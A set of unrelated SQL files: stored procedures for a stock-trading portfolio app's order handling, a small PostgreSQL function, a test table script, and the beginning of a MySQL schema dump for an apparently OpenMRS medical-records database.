invested_amount = (invested_amount + @actualPrice) WHERE uuid = portfolioId; ELSE UPDATE portfolios SET cash_amount = (cash_amount + @anticipatedPrice - @actualPrice), market_value = (market_value + @actualPrice), invested_amount = (invested_amount + @actualPrice) WHERE uuid = portfolioId; END IF; ELSE UPDATE portfolios SET cash_amount = (cash_amount - @actualPrice), market_value = (market_value + @actualPrice) WHERE uuid = portfolioId; END IF; END // DELIMITER ; DELIMITER // CREATE PROCEDURE addOrderToPendingTable( IN orderId CHAR(36), IN portfolioId CHAR(36), IN stockTicker VARCHAR(5), IN stockSuffix VARCHAR(6), IN nbShares INTEGER, IN limitPrice DECIMAL(10, 5), IN filledPrice DECIMAL(10, 5), IN expirationTime TIMESTAMP, IN orderType ENUM ( 'market', 'limit', 'stop' ) ) BEGIN SET @orderValue = (nbShares * limitPrice); IF (@orderValue > 0) THEN UPDATE portfolios P SET P.cash_amount = (P.cash_amount - @orderValue), P.frozen_amount = (P.frozen_amount + @orderValue) WHERE uuid = portfolioId; END IF; INSERT INTO pending_orders (uuid, portfolio_uuid, stock_ticker, stock_suffix, nb_shares, limit_price, filled_price, expiration_time, type) VALUES (orderId, portfolioId, stockTicker, stockSuffix, nbShares, limitPrice, filledPrice, expirationTime, orderType); END // DELIMITER ; DELIMITER // CREATE PROCEDURE cancelOrder( IN orderId CHAR(36) ) BEGIN CALL validateThatOrderExistsInPendingTable(orderId); SELECT (PO.nb_shares * PO.limit_price) INTO @frozenAmount FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PR.uuid INTO @portfolioId FROM portfolios PR, pending_orders PO WHERE PR.uuid = PO.portfolio_uuid AND PO.uuid = orderId; CALL insertCancelledOrderInClosedOrdersTables(orderId, @portfolioId); DELETE FROM pending_orders PO WHERE PO.uuid = orderId; IF (@frozenAmount > 0) THEN UPDATE portfolios P SET P.frozen_amount = (P.frozen_amount - @frozenAmount), P.cash_amount = (P.cash_amount + @frozenAmount) WHERE P.uuid = @portfolioId; END IF; END // DELIMITER ; DELIMITER // CREATE PROCEDURE validateThatOrderExistsInPendingTable(IN orderId CHAR(36)) BEGIN SELECT COUNT(*) INTO @orderMatchCount FROM pending_orders PO WHERE PO.uuid = orderId; IF (@orderMatchCount = 0) THEN SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'Order was not found in pending table.'; END IF; END // DELIMITER ; DELIMITER // CREATE PROCEDURE insertCancelledOrderInClosedOrdersTables(IN orderId CHAR(36), IN portfolioId CHAR(36)) BEGIN SELECT PO.stock_ticker INTO @stockTicker FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PO.stock_suffix INTO @stockSuffix FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PO.nb_shares INTO @nbShares FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PO.limit_price INTO @limitPrice FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PO.placed_time INTO @placedTime FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PO.expiration_time INTO @expirationTime FROM pending_orders PO WHERE PO.uuid = orderId; SELECT PO.type INTO @orderType FROM pending_orders PO WHERE PO.uuid = orderId; INSERT INTO closed_orders (uuid, portfolio_uuid, stock_ticker, stock_suffix, nb_shares, limit_price, filled_price, placed_time, expiration_time, type) VALUES (orderId, portfolioId, @stockTicker, @stockSuffix, @nbShares, @limitPrice, -1, @placedTime, @expirationTime, @orderType); END // DELIMITER ;
<gh_stars>0 -- Get a list of countries CREATE OR REPLACE FUNCTION countries_active() RETURNS table ( country VARCHAR(2) ) AS $$ BEGIN RETURN QUERY SELECT ac.country FROM active_countries ac; END; $$ LANGUAGE plpgsql;
create table test_table ( val string ); insert into test_table (val) VALUES ('1'); refresh table test_table;
-- MySQL dump 10.13 Distrib 5.6.33, for debian-linux-gnu (x86_64) -- -- Host: localhost Database: openmrs -- ------------------------------------------------------ -- Server version 5.6.33-0ubuntu0.14.04.1 /*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; /*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; /*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; /*!40101 SET NAMES utf8 */; /*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; /*!40103 SET TIME_ZONE='+00:00' */; /*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; /*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; /*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; /*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; -- -- Table structure for table `active_list` -- DROP TABLE IF EXISTS `active_list`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `active_list` ( `active_list_id` int(11) NOT NULL AUTO_INCREMENT, `active_list_type_id` int(11) NOT NULL, `person_id` int(11) NOT NULL, `concept_id` int(11) NOT NULL, `start_obs_id` int(11) DEFAULT NULL, `stop_obs_id` int(11) DEFAULT NULL, `start_date` datetime NOT NULL, `end_date` datetime DEFAULT NULL, `comments` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`active_list_id`), KEY `user_who_voided_active_list` (`voided_by`), KEY `user_who_created_active_list` (`creator`), KEY `active_list_type_of_active_list` (`active_list_type_id`), KEY `person_of_active_list` (`person_id`), KEY `concept_active_list` (`concept_id`), KEY `start_obs_active_list` (`start_obs_id`), KEY `stop_obs_active_list` (`stop_obs_id`), CONSTRAINT `active_list_type_of_active_list` FOREIGN KEY (`active_list_type_id`) REFERENCES `active_list_type` (`active_list_type_id`), CONSTRAINT `concept_active_list` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `person_of_active_list` FOREIGN KEY (`person_id`) REFERENCES `person` (`person_id`), CONSTRAINT `start_obs_active_list` FOREIGN KEY (`start_obs_id`) REFERENCES `obs` (`obs_id`), CONSTRAINT `stop_obs_active_list` FOREIGN KEY (`stop_obs_id`) REFERENCES `obs` (`obs_id`), CONSTRAINT `user_who_created_active_list` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_active_list` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `active_list` -- LOCK TABLES `active_list` WRITE; /*!40000 ALTER TABLE `active_list` DISABLE KEYS */; /*!40000 ALTER TABLE `active_list` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `active_list_allergy` -- DROP TABLE IF EXISTS `active_list_allergy`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `active_list_allergy` ( `active_list_id` int(11) NOT NULL AUTO_INCREMENT, `allergy_type` varchar(50) DEFAULT NULL, `reaction_concept_id` int(11) DEFAULT NULL, `severity` varchar(50) DEFAULT NULL, PRIMARY KEY (`active_list_id`), KEY `reaction_allergy` (`reaction_concept_id`), CONSTRAINT `reaction_allergy` FOREIGN KEY (`reaction_concept_id`) REFERENCES `concept` (`concept_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `active_list_allergy` -- LOCK TABLES `active_list_allergy` WRITE; /*!40000 ALTER TABLE `active_list_allergy` DISABLE KEYS */; /*!40000 ALTER TABLE `active_list_allergy` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `active_list_problem` -- DROP TABLE IF EXISTS `active_list_problem`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `active_list_problem` ( `active_list_id` int(11) NOT NULL AUTO_INCREMENT, `status` varchar(50) DEFAULT NULL, `sort_weight` double DEFAULT NULL, PRIMARY KEY (`active_list_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `active_list_problem` -- LOCK TABLES `active_list_problem` WRITE; /*!40000 ALTER TABLE `active_list_problem` DISABLE KEYS */; /*!40000 ALTER TABLE `active_list_problem` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `active_list_type` -- DROP TABLE IF EXISTS `active_list_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `active_list_type` ( `active_list_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(50) NOT NULL, `description` varchar(255) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`active_list_type_id`), KEY `user_who_retired_active_list_type` (`retired_by`), KEY `user_who_created_active_list_type` (`creator`), CONSTRAINT `user_who_created_active_list_type` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_retired_active_list_type` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `active_list_type` -- LOCK TABLES `active_list_type` WRITE; /*!40000 ALTER TABLE `active_list_type` DISABLE KEYS */; INSERT INTO `active_list_type` VALUES (1,'Allergy','An Allergy the Patient may have',1,'2010-05-28 00:00:00',0,NULL,NULL,NULL,'96f4f603-6a99-11df-a648-37a07f9c90fb'),(2,'Problem','A Problem the Patient may have',1,'2010-05-28 00:00:00',0,NULL,NULL,NULL,'a0c7422b-6a99-11df-a648-37a07f9c90fb'); /*!40000 ALTER TABLE `active_list_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `calculation_registration` -- DROP TABLE IF EXISTS `calculation_registration`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `calculation_registration` ( `calculation_registration_id` int(11) NOT NULL AUTO_INCREMENT, `token` varchar(255) NOT NULL, `provider_class_name` varchar(512) NOT NULL, `calculation_name` varchar(512) NOT NULL, `configuration` text, `uuid` char(38) NOT NULL, PRIMARY KEY (`calculation_registration_id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `token` (`token`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `calculation_registration` -- LOCK TABLES `calculation_registration` WRITE; /*!40000 ALTER TABLE `calculation_registration` DISABLE KEYS */; /*!40000 ALTER TABLE `calculation_registration` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `care_setting` -- DROP TABLE IF EXISTS `care_setting`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `care_setting` ( `care_setting_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(255) DEFAULT NULL, `care_setting_type` varchar(50) NOT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `retired` tinyint(1) NOT NULL DEFAULT '0', `retired_by` int(11) DEFAULT NULL, `date_retired` datetime DEFAULT NULL, `retire_reason` varchar(255) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) NOT NULL, PRIMARY KEY (`care_setting_id`), UNIQUE KEY `name` (`name`), UNIQUE KEY `uuid` (`uuid`), KEY `care_setting_creator` (`creator`), KEY `care_setting_retired_by` (`retired_by`), KEY `care_setting_changed_by` (`changed_by`), CONSTRAINT `care_setting_changed_by` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `care_setting_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `care_setting_retired_by` FOREIGN KEY (`retired_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB AUTO_INCREMENT=3 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `care_setting` -- LOCK TABLES `care_setting` WRITE; /*!40000 ALTER TABLE `care_setting` DISABLE KEYS */; INSERT INTO `care_setting` VALUES (1,'Outpatient','Out-patient care setting','OUTPATIENT',1,'2013-12-27 00:00:00',0,NULL,NULL,NULL,NULL,NULL,'6f0c9a92-6f24-11e3-af88-005056821db0'),(2,'Inpatient','In-patient care setting','INPATIENT',1,'2013-12-27 00:00:00',0,NULL,NULL,NULL,NULL,NULL,'c365e560-c3ec-11e3-9c1a-0800200c9a66'); /*!40000 ALTER TABLE `care_setting` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `chunking_history` -- DROP TABLE IF EXISTS `chunking_history`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `chunking_history` ( `id` int(11) NOT NULL AUTO_INCREMENT, `chunk_length` bigint(20) DEFAULT NULL, `start` bigint(20) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `chunking_history` -- LOCK TABLES `chunking_history` WRITE; /*!40000 ALTER TABLE `chunking_history` DISABLE KEYS */; INSERT INTO `chunking_history` VALUES (1,5,1); /*!40000 ALTER TABLE `chunking_history` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `clob_datatype_storage` -- DROP TABLE IF EXISTS `clob_datatype_storage`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `clob_datatype_storage` ( `id` int(11) NOT NULL AUTO_INCREMENT, `uuid` char(38) NOT NULL, `value` longtext NOT NULL, PRIMARY KEY (`id`), UNIQUE KEY `uuid` (`uuid`), UNIQUE KEY `clob_datatype_storage_uuid_index` (`uuid`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `clob_datatype_storage` -- LOCK TABLES `clob_datatype_storage` WRITE; /*!40000 ALTER TABLE `clob_datatype_storage` DISABLE KEYS */; /*!40000 ALTER TABLE `clob_datatype_storage` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort` -- DROP TABLE IF EXISTS `cohort`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort` ( `cohort_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(1000) DEFAULT NULL, `creator` int(11) NOT NULL, `date_created` datetime NOT NULL, `voided` tinyint(1) NOT NULL DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `changed_by` int(11) DEFAULT NULL, `date_changed` datetime DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`cohort_id`), UNIQUE KEY `cohort_uuid_index` (`uuid`), KEY `user_who_changed_cohort` (`changed_by`), KEY `cohort_creator` (`creator`), KEY `user_who_voided_cohort` (`voided_by`), CONSTRAINT `cohort_creator` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_changed_cohort` FOREIGN KEY (`changed_by`) REFERENCES `users` (`user_id`), CONSTRAINT `user_who_voided_cohort` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort` -- LOCK TABLES `cohort` WRITE; /*!40000 ALTER TABLE `cohort` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_attributes` -- DROP TABLE IF EXISTS `cohort_attributes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_attributes` ( `cohort_attribute_id` int(11) NOT NULL AUTO_INCREMENT, `cohort` int(11) DEFAULT NULL, `value` varchar(255) DEFAULT NULL, `cohortAttributeType` int(11) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_attribute_id`), KEY `cohortatt_fk` (`cohortAttributeType`), KEY `cohortmodule_fk` (`cohort`), CONSTRAINT `cohortatt_fk` FOREIGN KEY (`cohortAttributeType`) REFERENCES `cohort_attributes_type` (`cohort_attribute_type_id`), CONSTRAINT `cohortmodule_fk` FOREIGN KEY (`cohort`) REFERENCES `cohort_module` (`cohort_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_attributes` -- LOCK TABLES `cohort_attributes` WRITE; /*!40000 ALTER TABLE `cohort_attributes` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_attributes` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_attributes_type` -- DROP TABLE IF EXISTS `cohort_attributes_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_attributes_type` ( `cohort_attribute_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `description` varchar(255) DEFAULT NULL, `format` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_attribute_type_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_attributes_type` -- LOCK TABLES `cohort_attributes_type` WRITE; /*!40000 ALTER TABLE `cohort_attributes_type` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_attributes_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_cmember` -- DROP TABLE IF EXISTS `cohort_cmember`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_cmember` ( `cohort_member_id` int(11) NOT NULL AUTO_INCREMENT, `person` int(11) DEFAULT NULL, `cohort` int(11) DEFAULT NULL, `role` int(11) DEFAULT NULL, `startDate` date DEFAULT NULL, `endDate` date DEFAULT NULL, `isHead` tinyint(1) DEFAULT '0', `uuid` char(38) NOT NULL, PRIMARY KEY (`cohort_member_id`), UNIQUE KEY `uuid` (`uuid`), KEY `person_fk` (`person`), KEY `role_fk` (`role`), KEY `cohort_fk` (`cohort`), CONSTRAINT `cohort_fk` FOREIGN KEY (`cohort`) REFERENCES `cohort_module` (`cohort_id`), CONSTRAINT `person_fk` FOREIGN KEY (`person`) REFERENCES `person` (`person_id`), CONSTRAINT `role_fk` FOREIGN KEY (`role`) REFERENCES `cohort_role` (`cohort_role_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_cmember` -- LOCK TABLES `cohort_cmember` WRITE; /*!40000 ALTER TABLE `cohort_cmember` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_cmember` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_encounter` -- DROP TABLE IF EXISTS `cohort_encounter`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_encounter` ( `encounter_id` int(11) NOT NULL AUTO_INCREMENT, `ecohort` int(11) DEFAULT NULL, `encounterType` int(11) DEFAULT NULL, `location` int(11) DEFAULT NULL, `form` int(11) DEFAULT NULL, `visit` int(11) DEFAULT NULL, `encounterDateTime` date DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`encounter_id`), KEY `visit1_fk` (`visit`), KEY `encountertype_fk` (`encounterType`), KEY `cohortfk_module` (`ecohort`), KEY `form_fk` (`form`), KEY `location1_fk` (`location`), CONSTRAINT `cohortfk_module` FOREIGN KEY (`ecohort`) REFERENCES `cohort_module` (`cohort_id`), CONSTRAINT `encountertype_fk` FOREIGN KEY (`encounterType`) REFERENCES `encounter_type` (`encounter_type_id`), CONSTRAINT `form_fk` FOREIGN KEY (`form`) REFERENCES `form` (`form_id`), CONSTRAINT `location1_fk` FOREIGN KEY (`location`) REFERENCES `location` (`location_id`), CONSTRAINT `visit1_fk` FOREIGN KEY (`visit`) REFERENCES `cohort_visit` (`cohort_visit_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_encounter` -- LOCK TABLES `cohort_encounter` WRITE; /*!40000 ALTER TABLE `cohort_encounter` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_encounter` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_member` -- DROP TABLE IF EXISTS `cohort_member`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_member` ( `cohort_id` int(11) NOT NULL DEFAULT '0', `patient_id` int(11) NOT NULL DEFAULT '0', PRIMARY KEY (`cohort_id`,`patient_id`), KEY `member_patient` (`patient_id`), CONSTRAINT `member_patient` FOREIGN KEY (`patient_id`) REFERENCES `patient` (`patient_id`) ON UPDATE CASCADE, CONSTRAINT `parent_cohort` FOREIGN KEY (`cohort_id`) REFERENCES `cohort` (`cohort_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_member` -- LOCK TABLES `cohort_member` WRITE; /*!40000 ALTER TABLE `cohort_member` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_member` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_member_attribute` -- DROP TABLE IF EXISTS `cohort_member_attribute`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_member_attribute` ( `cohort_member_attribute_id` int(11) NOT NULL AUTO_INCREMENT, `cohortMember` int(11) DEFAULT NULL, `cohort_member_attribute_type_id` int(11) DEFAULT NULL, `value` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_member_attribute_id`), KEY `cohortmember_fk` (`cohortMember`), KEY `cohort_member_att_fk` (`cohort_member_attribute_type_id`), CONSTRAINT `cohort_member_att_fk` FOREIGN KEY (`cohort_member_attribute_type_id`) REFERENCES `cohort_member_attribute_type` (`cohort_member_attribute_type_id`), CONSTRAINT `cohortmember_fk` FOREIGN KEY (`cohortMember`) REFERENCES `cohort_cmember` (`cohort_member_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_member_attribute` -- LOCK TABLES `cohort_member_attribute` WRITE; /*!40000 ALTER TABLE `cohort_member_attribute` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_member_attribute` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_member_attribute_type` -- DROP TABLE IF EXISTS `cohort_member_attribute_type`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_member_attribute_type` ( `cohort_member_attribute_type_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `description` varchar(255) DEFAULT NULL, `format` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, PRIMARY KEY (`cohort_member_attribute_type_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_member_attribute_type` -- LOCK TABLES `cohort_member_attribute_type` WRITE; /*!40000 ALTER TABLE `cohort_member_attribute_type` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_member_attribute_type` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_module` -- DROP TABLE IF EXISTS `cohort_module`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_module` ( `cohort_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, `description` varchar(1000) DEFAULT NULL, `clocation` int(11) DEFAULT NULL, `startDate` date DEFAULT NULL, `endDate` date DEFAULT NULL, `uuid` char(38) DEFAULT NULL, `cohortType` int(11) DEFAULT NULL, `cohortProgram` int(11) DEFAULT NULL, `voided` tinyint(1) DEFAULT '0', `void_reason` varchar(255) DEFAULT NULL, `isGroupCohort` tinyint(1) DEFAULT '0', PRIMARY KEY (`cohort_id`), KEY `cohortpgm_fk` (`cohortProgram`), KEY `cohorttype_fk` (`cohortType`), KEY `location_fk` (`clocation`), CONSTRAINT `cohortpgm_fk` FOREIGN KEY (`cohortProgram`) REFERENCES `cohort_program` (`cohort_program_id`), CONSTRAINT `cohorttype_fk` FOREIGN KEY (`cohortType`) REFERENCES `cohort_type` (`cohort_type_id`), CONSTRAINT `location_fk` FOREIGN KEY (`clocation`) REFERENCES `location` (`location_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_module` -- LOCK TABLES `cohort_module` WRITE; /*!40000 ALTER TABLE `cohort_module` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_module` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_obs` -- DROP TABLE IF EXISTS `cohort_obs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_obs` ( `obs_id` int(11) NOT NULL AUTO_INCREMENT, `cohort` int(11) DEFAULT NULL, `concept_id` int(11) DEFAULT '0', `encounterId` int(11) DEFAULT NULL, `location` int(11) DEFAULT NULL, `obsDateTime` date DEFAULT NULL, `obs_group_id` int(11) DEFAULT NULL, `accession_number` varchar(255) DEFAULT NULL, `value_group_id` int(11) DEFAULT NULL, `value_boolean` tinyint(1) DEFAULT NULL, `value_coded` int(11) DEFAULT NULL, `value_coded_name_id` int(11) DEFAULT NULL, `value_drug` int(11) DEFAULT NULL, `value_datetime` datetime DEFAULT NULL, `value_numeric` double DEFAULT NULL, `value_modifier` varchar(2) DEFAULT NULL, `value_text` text, `value_complex` varchar(255) DEFAULT NULL, `comments` varchar(255) DEFAULT NULL, `date_created` datetime DEFAULT NULL, `creator` int(11) DEFAULT '0', `voided` tinyint(1) DEFAULT '0', `voided_by` int(11) DEFAULT NULL, `date_voided` datetime DEFAULT NULL, `void_reason` varchar(255) DEFAULT NULL, `uuid` char(38) DEFAULT NULL, PRIMARY KEY (`obs_id`), KEY `obe_fk` (`creator`), KEY `ac_fk` (`value_coded`), KEY `uos_fk` (`voided_by`), KEY `acd_fk` (`value_drug`), KEY `encounterid_fk` (`encounterId`), KEY `concept1_fk` (`concept_id`), KEY `cohortfk1_module` (`cohort`), KEY `grp_fk` (`obs_group_id`), KEY `vc_fk` (`value_coded_name_id`), KEY `location2_fk` (`location`), CONSTRAINT `ac_fk` FOREIGN KEY (`value_coded`) REFERENCES `concept` (`concept_id`), CONSTRAINT `acd_fk` FOREIGN KEY (`value_drug`) REFERENCES `drug` (`drug_id`), CONSTRAINT `cohortfk1_module` FOREIGN KEY (`cohort`) REFERENCES `cohort_module` (`cohort_id`), CONSTRAINT `concept1_fk` FOREIGN KEY (`concept_id`) REFERENCES `concept` (`concept_id`), CONSTRAINT `encounterid_fk` FOREIGN KEY (`encounterId`) REFERENCES `cohort_encounter` (`encounter_id`), CONSTRAINT `grp_fk` FOREIGN KEY (`obs_group_id`) REFERENCES `cohort_obs` (`obs_id`), CONSTRAINT `location2_fk` FOREIGN KEY (`location`) REFERENCES `location` (`location_id`), CONSTRAINT `obe_fk` FOREIGN KEY (`creator`) REFERENCES `users` (`user_id`), CONSTRAINT `uos_fk` FOREIGN KEY (`voided_by`) REFERENCES `users` (`user_id`), CONSTRAINT `vc_fk` FOREIGN KEY (`value_coded_name_id`) REFERENCES `concept_name` (`concept_name_id`) ) ENGINE=InnoDB DEFAULT CHARSET=latin1; /*!40101 SET character_set_client = @saved_cs_client */; -- -- Dumping data for table `cohort_obs` -- LOCK TABLES `cohort_obs` WRITE; /*!40000 ALTER TABLE `cohort_obs` DISABLE KEYS */; /*!40000 ALTER TABLE `cohort_obs` ENABLE KEYS */; UNLOCK TABLES; -- -- Table structure for table `cohort_program` -- DROP TABLE IF EXISTS `cohort_program`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!40101 SET character_set_client = utf8 */; CREATE TABLE `cohort_program` ( `cohort_program_id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) DEFAULT NULL, 